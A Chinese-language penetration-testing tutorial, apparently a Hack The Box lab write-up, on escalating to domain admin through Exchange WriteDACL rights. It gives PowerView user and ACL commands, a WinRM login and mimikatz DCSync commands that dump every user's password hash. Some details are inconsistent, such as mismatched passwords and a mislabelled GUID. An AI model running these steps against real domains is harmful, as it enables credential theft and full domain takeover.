17370845950

投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权

前言

在域环境中安装Exchange后,系统会自动添加三个特定的安全组:Microsoft Exchange Security Groups、Exchange Trusted Subsystem和Exchange Windows Permission。如果能够控制这些组中的任何一个用户,就能继承该组的WriteDACL权限。通过WriteDACL权限,用户可以修改域对象的访问控制列表(ACL),最终利用DCSync功能导出域内所有用户的哈希值。

需要获取以下三个组中任意一个组的用户控制权:

  • Microsoft Exchange Security Groups
  • Exchange Trusted Subsystem
  • Exchange Windows Permission

实验1:通过bloodhound分析得到如下图所示的结果

从上图中可以清楚地看到,用户所属的组对EXCHANGE WINDOWS PERMISSIONS组拥有所有权限,而EXCHANGE WINDOWS PERMISSIONS组对域具有writedacl权限。因此可以通过域渗透——利用Exchange服务器中特定的ACL来实现域提权的思路。通过DCSync进行提权,EXCHANGE WINDOWS PERMISSIONS组内的用户可以对任意用户修改ACL权限。

2、创建用户

$UserPassword = ConvertTo-SecureString '123456qazwsx' -AsPlainText -Force
New-DomainUser -SamAccountName one -Description 'This is one' -AccountPassword $UserPassword

修改用户密码:

Set-DomainUserPassword -Identity harmj0y2 -AccountPassword $UserPassword

3、将新建用户加入到EXCHANGE WINDOWS PERMISSIONS组,并允许远程登录

Add-DomainGroupMember -Identity 'EXCHANGE WINDOWS PERMISSIONS' -Members 'one'
Add-DomainGroupMember -Identity 'Remote Management Users' -Members 'one'

4、使用one用户通过winrm_shell.rb进行远程登录

require 'winrm'
conn = WinRM::Connection.new(
  endpoint: 'http://10.10.10.161:5985/wsman',
  user: 'htb.local\\one',
  password: '1234qwer',
)

5、利用DCSync导出哈希

one用户可以对自己添加三条ACE(访问控制条目),从而获得DCSync导出的权限。通常,如果获得了以下三个组中任意一个用户的权限,都可以利用DCSync导出域内所有用户的哈希。组名如下:

  • Exchange Trusted Subsystem
  • Exchange Windows Permission
  • Organization Management

向域内的一个普通用户添加如下三条ACE:

  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用DCSync导出域内所有用户哈希的权限。

6、添加ACE的命令如下:

Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity one -Rights DCSync -Verbose

7、再次退出并重新登录

(1)导出administrator的哈希

mimikatz.exe privilege::debug "lsadump::dcsync /domain:htb.local /user:administrator /csv" exit

(2)通过以下命令导出所有用户哈希

mimikatz.exe privilege::debug "lsadump::dcsync /domain:htb.local /all /csv" exit